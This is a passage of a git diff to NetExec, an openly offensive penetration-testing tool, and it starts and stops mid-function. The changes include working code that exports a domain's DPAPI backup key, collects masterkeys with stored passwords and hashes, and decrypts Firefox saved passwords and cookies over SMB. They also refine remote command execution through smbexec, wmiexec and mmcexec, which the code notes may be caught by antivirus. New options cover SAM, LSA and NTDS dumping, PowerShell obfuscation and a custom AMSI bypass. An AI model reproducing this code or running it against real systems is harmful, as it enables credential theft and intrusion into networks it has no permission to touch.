do_kerberos=context.kerberos, + aesKey=context.aesKey, + no_pass=True, + use_kcache=context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + context.db.add_domain_backupkey(context.domain, pvkbytes) + else: + context.no_da = False + except Exception as e: + context.logger.fail(f"Could not get domain backupkey: {e}") + return pvkbytes + +def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): + masterkeys = [] + plaintexts = {} + nthashes = {} + if context.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(context.args.mkfile) + except Exception as e: + context.logger.fail(str(e)) + if user: + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + if context.password != "": + plaintexts[context.username] = context.password + if context.nthash != "": + nthashes[context.username] = context.nthash + + # Collect User and Machine masterkeys + try: + context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=dploot_connection, + pvkbytes=context.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem={}, + ) + context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + if user: + context.logger.debug("Collecting user masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + if system: + context.logger.debug("Collecting machine masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + except Exception as e: + context.logger.debug(f"Could not get masterkeys: {e}") + + return masterkeys + +def upgrade_to_dploot_connection(target, connection=None): + conn = None + try: + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + conn.connect() + except Exception: + return None + return conn \ No newline at end of file diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 01fb8266..ec63705d 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -7,10 +7,14 @@ import ntpath from os import remove import sqlite3 import tempfile +from dataclasses import dataclass +from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + CKA_ID = unhexlify("f8000000000000000000000000000001") @@ -21,6 +25,16 @@ class FirefoxData: self.username = username self.password = password +@dataclass +class FirefoxCookie: + winuser: str + host: str + path: str + cookie_name: str + cookie_value: str + creation_utc: str + expires_utc: str + last_access_utc: str class FirefoxTriage: """ @@ -41,23 +55,19 @@ class FirefoxTriage: "All Users", ) - def __init__(self, target, logger, conn: DPLootSMBConnection = None): + def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn - def upgrade_connection(self, connection=None): - self.conn = DPLootSMBConnection(self.target) - if connection is not None: - self.conn.smb_session = connection - else: - self.conn.connect() + self.per_secret_callback = per_secret_callback - def run(self): + def run(self, gather_cookies=False): if self.conn is None: - self.upgrade_connection() + upgrade_to_dploot_connection(target=self.target) firefox_data = [] + firefox_cookies = [] # list users users = self.get_users() for user in users: @@ -71,6 +81,11 @@ class FirefoxTriage: continue for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: + if gather_cookies: + cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") + cookies_data = self.conn.readFile(self.share, cookies_path) + if cookies_data is not None: + firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: @@ -79,7 +94,7 @@ class FirefoxTriage: if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) + key4_data = self.conn.readFile(self.share, key4_path) if key4_data is None: continue key = self.get_key(key4_data=key4_data) @@ -94,20 +109,45 @@ class FirefoxTriage: decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8") password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: - firefox_data.append( - FirefoxData( + data = FirefoxData( winuser=user, url=host, username=decoded_username, password=password, ) - ) + if self.per_secret_callback is not None: + self.per_secret_callback(data) + firefox_data.append(data) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.exception(e) return firefox_data + def parse_cookie_data(self, windows_user, cookies_data): + cookies = [] + fh = tempfile.NamedTemporaryFile(delete=False) + fh.write(cookies_data) + fh.seek(0) + db = sqlite3.connect(fh.name) + cursor = db.cursor() + cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") + for name, value, host, path, expiry, lastAccessed, creationTime in cursor: + cookie = FirefoxCookie( + winuser=windows_user, + host=host, + path=path, + cookie_name=name, + cookie_value=value, + creation_utc=creationTime, + last_access_utc=lastAccessed, + expires_utc=expiry, + ) + if self.per_secret_callback is not None: + self.per_secret_callback(cookie) + cookies.append(cookie) + return cookies + def get_login_data(self, logins_data): json_logins = json.loads(logins_data) if "logins" not in json_logins: diff --git a/nxc/protocols/smb/mmcexec.py b/nxc/protocols/smb/mmcexec.py index 57d30d4a..538ddf38 100644 --- a/nxc/protocols/smb/mmcexec.py +++ b/nxc/protocols/smb/mmcexec.py @@ -249,7 +249,7 @@ class MMCEXEC: self.__outputBuffer = "" return - tries = 0 + tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: @@ -258,7 +258,7 @@ class MMCEXEC: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -270,16 +270,20 @@ class MMCEXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(str(e)) + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index fa1bcb20..dbea1931 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and hex(high) == "-0x80000000": + if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: return "Not Set" if low == 0 and high == 0: return "None" @@ -35,7 +35,7 @@ def convert(low, high, lockout=False): high = abs(high) low = abs(low) - tmp = low + (high) * 16**8 # convert to 64bit int + tmp = low + (high << 32) # convert to 64bit int tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..8ea7b967 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,29 +1,32 @@ from argparse import _StoreTrueAction -from nxc.helpers.args import DisplayDefaultsNotNone +from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction def proto_args(parser, parents): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") - + delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") - + dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") - + smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) + smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") + smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") + smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") - cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") - cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") + cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems") cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") @@ -33,20 +36,24 @@ def proto_args(parser, parents): cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC") mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") - mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access") - mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") + mapping_enum_group.add_argument("--shares", action="store_true", help="Enumerate shares and access") + mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") + mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") - mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions") - mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") + mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions") + mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") - mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") - mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.") - mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated") - mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users") - mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") + mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.") + mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.") + mapping_enum_group.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") + mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated") + mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users") + mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") - mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="Enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections") + mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes") wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries") wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") @@ -69,7 +76,7 @@ def proto_args(parser, parents): files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands") - cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode") + cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5) cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10) cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") @@ -78,7 +85,7 @@ def proto_args(parser, parents): cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group() cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command") cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") - + posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass") @@ -86,7 +93,6 @@ def proto_args(parser, parents): posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)") posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target") - return parser def get_conditional_action(baseAction): @@ -101,4 +107,4 @@ def get_conditional_action(baseAction): x.required = True super().__call__(parser, namespace, values, option_string) - return ConditionalAction \ No newline at end of file + return ConditionalAction diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index b970a62f..e65fb5c8 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -9,7 +9,6 @@ from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.nmb import NetBIOSError from impacket.smbconnection import SessionError -from nxc.logger import nxc_logger class SamrFunc: @@ -26,6 +25,7 @@ class SamrFunc: self.aesKey = connection.aesKey self.doKerberos = connection.kerberos self.kdcHost = connection.kdcHost + self.host = connection.host if self.hash is not None: if self.hash.find(":") != -1: @@ -36,64 +36,57 @@ class SamrFunc: if self.password is None: self.password = "" - self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey) + self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger) self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger) - def get_builtin_groups(self): + def get_builtin_groups(self, group): domains = self.samr_query.get_domains() - + members = {} if "Builtin" not in domains: logging.error("No Builtin group to query locally on") return None domain_handle = self.samr_query.get_domain_handle("Builtin") - return self.samr_query.get_domain_aliases(domain_handle) + builtin_groups = self.samr_query.get_domain_aliases(domain_handle, group) + if group: + members = self.get_local_users(builtin_groups, domain_handle) + return builtin_groups, members - def get_custom_groups(self): + def get_custom_groups(self, group=None): domains = self.samr_query.get_domains() custom_groups = {} - + members = {} for domain in domains: if domain == "Builtin": continue domain_handle = self.samr_query.get_domain_handle(domain) - custom_groups.update(self.samr_query.get_domain_aliases(domain_handle)) - return custom_groups + custom_groups.update(self.samr_query.get_domain_aliases(domain_handle, group)) + if group: + members = self.get_local_users(custom_groups, domain_handle) + return custom_groups, members - def get_local_groups(self): - builtin_groups = self.get_builtin_groups() - custom_groups = self.get_custom_groups() - return {**builtin_groups, **custom_groups} + def get_local_groups(self, group=None): + if group: + self.logger.display(f"Querying group: {group}") + builtin_groups, builtin_groups_members = self.get_builtin_groups(group) + custom_groups, custom_groups_members = self.get_custom_groups(group) + return {**builtin_groups, **custom_groups}, builtin_groups_members | custom_groups_members - def get_local_users(self): - pass - - def get_local_administrators(self): - self.get_builtin_groups() - if "Administrators" in self.groups: - self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}") - domain_handle = self.samr_query.get_domain_handle("Builtin") - self.logger.debug("Querying group members") - member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) - member_names = self.lsa_query.lookup_sids(member_sids) - - for sid, name in zip(member_sids, member_names): - print(f"{name} - {sid}") + def get_local_users(self, group, domain_handle): + users = {} + try: + for alias_id in group.values(): + member_sids = self.samr_query.get_alias_members(domain_handle, alias_id) + member_names = self.lsa_query.lookup_sids(member_sids) + users = dict(zip(member_sids, member_names, strict=True)) + except Exception as e: + self.logger.debug(f"Error enumerating users in {group}: {e}") + return {} + return users class SAMRQuery: - def __init__( - self, - username="", - password="", - domain="", - port=445, - remote_name="", - remote_host="", - kerberos=None, - kdcHost="", - aesKey="", - ): + def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kerberos=None, kdcHost="", aesKey="", logger=None,): self.__username = username self.__password = password self.__domain = domain @@ -105,12 +98,13 @@ class SAMRQuery: self.__remote_host = remote_host self.__kerberos = kerberos self.__kdcHost = kdcHost + self.logger = logger self.dce = self.get_dce() self.server_handle = self.get_server_handle() def get_transport(self): string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]" - nxc_logger.debug(f"Binding to {string_binding}") + self.logger.debug(f"Binding to {string_binding}") # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr' return transport.SMBTransport( self.__remote_name, @@ -146,11 +140,13 @@ class SAMRQuery: try: resp = samr.hSamrConnect(self.dce) except samr.DCERPCException as e: - nxc_logger.debug(f"Error while connecting with Samr: {e}") + if "rpc_s_access_denied" in str(e): + raise + self.logger.debug(f"Error while connecting with Samr: {e}") return None return resp["ServerHandle"] else: - nxc_logger.debug("Error creating Samr handle") + self.logger.debug("Error creating Samr handle") def get_domains(self): """Calls the hSamrEnumerateDomainsInSamServer() method directly with list comprehension and extracts the "Name" value from each element in the "Buffer" list.""" @@ -162,12 +158,15 @@ class SAMRQuery: resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"]) return resp["DomainHandle"] - def get_domain_aliases(self, domain_handle): + def get_domain_aliases(self, domain_handle, group=None): """Use a dictionary comprehension to generate the aliases dictionary. Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list """ - return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]} + aliases = {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]} + if group: + aliases = {name: rid for name, rid in aliases.items() if name == group} + return aliases def get_alias_handle(self, domain_handle, alias_id): resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id) diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py index 0d1ef8e2..43a6c868 100644 --- a/nxc/protocols/smb/samruser.py +++ b/nxc/protocols/smb/samruser.py @@ -41,7 +41,7 @@ class UserSamrDump: if self.password is None: self.password = "" - def dump(self, requested_users=None): + def dump(self, requested_users=None, dump_path=None): # Try all requested protocols until one works. for protocol in self.protocols: try: @@ -53,16 +53,17 @@ class UserSamrDump: self.logger.debug(f"Trying protocol {protocol}") self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host) try: - self.fetch_users(requested_users) + self.fetch_users(requested_users, dump_path) break except Exception as e: self.logger.debug(f"Connection with protocol {protocol} failed: {e}") return self.users - def fetch_users(self, requested_users): + def fetch_users(self, requested_users, dump_path): self.dce = DCERPC_v5(self.rpc_transport) self.dce.connect() self.dce.bind(samr.MSRPC_UUID_SAMR) + users = [] # Setup Connection resp = samr.hSamrConnect2(self.dce) @@ -133,13 +134,18 @@ class UserSamrDump: # set these for the while loop enumerationContext = enumerate_users_resp["EnumerationContext"] status = enumerate_users_resp["ErrorCode"] - self.logger.display(f"Enumerated {users:d} local users: {domain_name}") + + self.logger.display(f"Enumerated {len(users)} local users: {domain_name}") + if dump_path: + self.logger.display(f"Writing {len(users)} local users to {dump_path}") + with open(dump_path, "w+") as file: + file.writelines(f"{user}\n" for user in users) self.dce.disconnect() def get_user_info(self, domain_handle, user_ids): self.logger.debug(f"Getting user info for users: {user_ids}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - users = 0 + users = [] for user in user_ids: self.logger.debug(f"Calling hSamrOpenUser for RID {user}") @@ -162,11 +168,12 @@ class UserSamrDump: last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"]) if last_pw_set == "1601-01-01 00:00:00": last_pw_set = "" - users += + 1 + users.append(user_name) self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ") samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"]) return users + def old_large_int_to_datetime(large_int): combined = (large_int["HighPart"] << 32) | large_int["LowPart"] timestamp_seconds = combined / 10**7 diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index 8d894f62..73dd59f2 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -124,7 +124,10 @@ class SMBEXEC: try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) + except Exception: + pass + try: self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) @@ -138,16 +141,14 @@ class SMBEXEC: self.__outputBuffer = "" return - # TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed - # Still adding this for now to keep the structure similar until we can confirm the above - tries = 0 + tries = 1 while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -159,19 +160,23 @@ class SMBEXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(str(e)) + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass def execute_fileless(self, data): self.__output = gen_random_string(6) diff --git a/nxc/protocols/smb/wmiexec.py b/nxc/protocols/smb/wmiexec.py index b90882b7..6c762eee 100755 --- a/nxc/protocols/smb/wmiexec.py +++ b/nxc/protocols/smb/wmiexec.py @@ -140,7 +140,7 @@ class WMIEXEC: self.__outputBuffer = "" return - tries = 0 + tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: @@ -149,7 +149,7 @@ class WMIEXEC: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method") break elif "STATUS_BAD_NETWORK_NAME" in str(e): @@ -161,16 +161,20 @@ class WMIEXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) elif "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") sleep(1) tries += 1 elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(f"Exception when trying to read output file: {e}") + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index a3394d55..a5c7b9c9 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -1,4 +1,5 @@ import paramiko +import os import re import uuid import logging @@ -19,6 +20,8 @@ class ssh(connection): self.protocol = "SSH" self.remote_version = "Unknown SSH Version" self.server_os_platform = "Linux" + self.shell_access = False + self.admin_privs = False self.uac = "" super().__init__(args, db, host) @@ -33,8 +36,11 @@ class ssh(connection): return if self.login(): if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") self.call_modules() else: + self.logger.debug("Calling command arguments") self.call_cmd_args() self.conn.close() @@ -52,7 +58,6 @@ class ssh(connection): def print_host_info(self): self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...") - return True def enum_host_info(self): if self.conn._transport.remote_version: @@ -74,11 +79,118 @@ class ssh(connection): except OSError: return False - def check_if_admin(self): - self.admin_privs = False + def plaintext_login(self, username, password, private_key=""): + self.username = username + self.password = password + try: + if self.args.key_file or private_key: + self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") + self.conn.connect( + self.host, + port=self.port, + username=username, + passphrase=password if password != "" else None, + pkey=private_key, + key_filename=self.args.key_file, + timeout=self.args.ssh_timeout, + look_for_keys=False, + allow_agent=False, + banner_timeout=self.args.ssh_timeout, + ) + # If we get the private key from the file, we need to load it into the database + if self.args.key_file: + with open(self.args.key_file) as f: + private_key = f.read().rstrip("\n") + cred_id = self.db.add_credential("key", username, password, key=private_key) + else: + self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") + self.conn.connect( + self.host, + port=self.port, + username=username, + password=password, + timeout=self.args.ssh_timeout, + look_for_keys=False, + 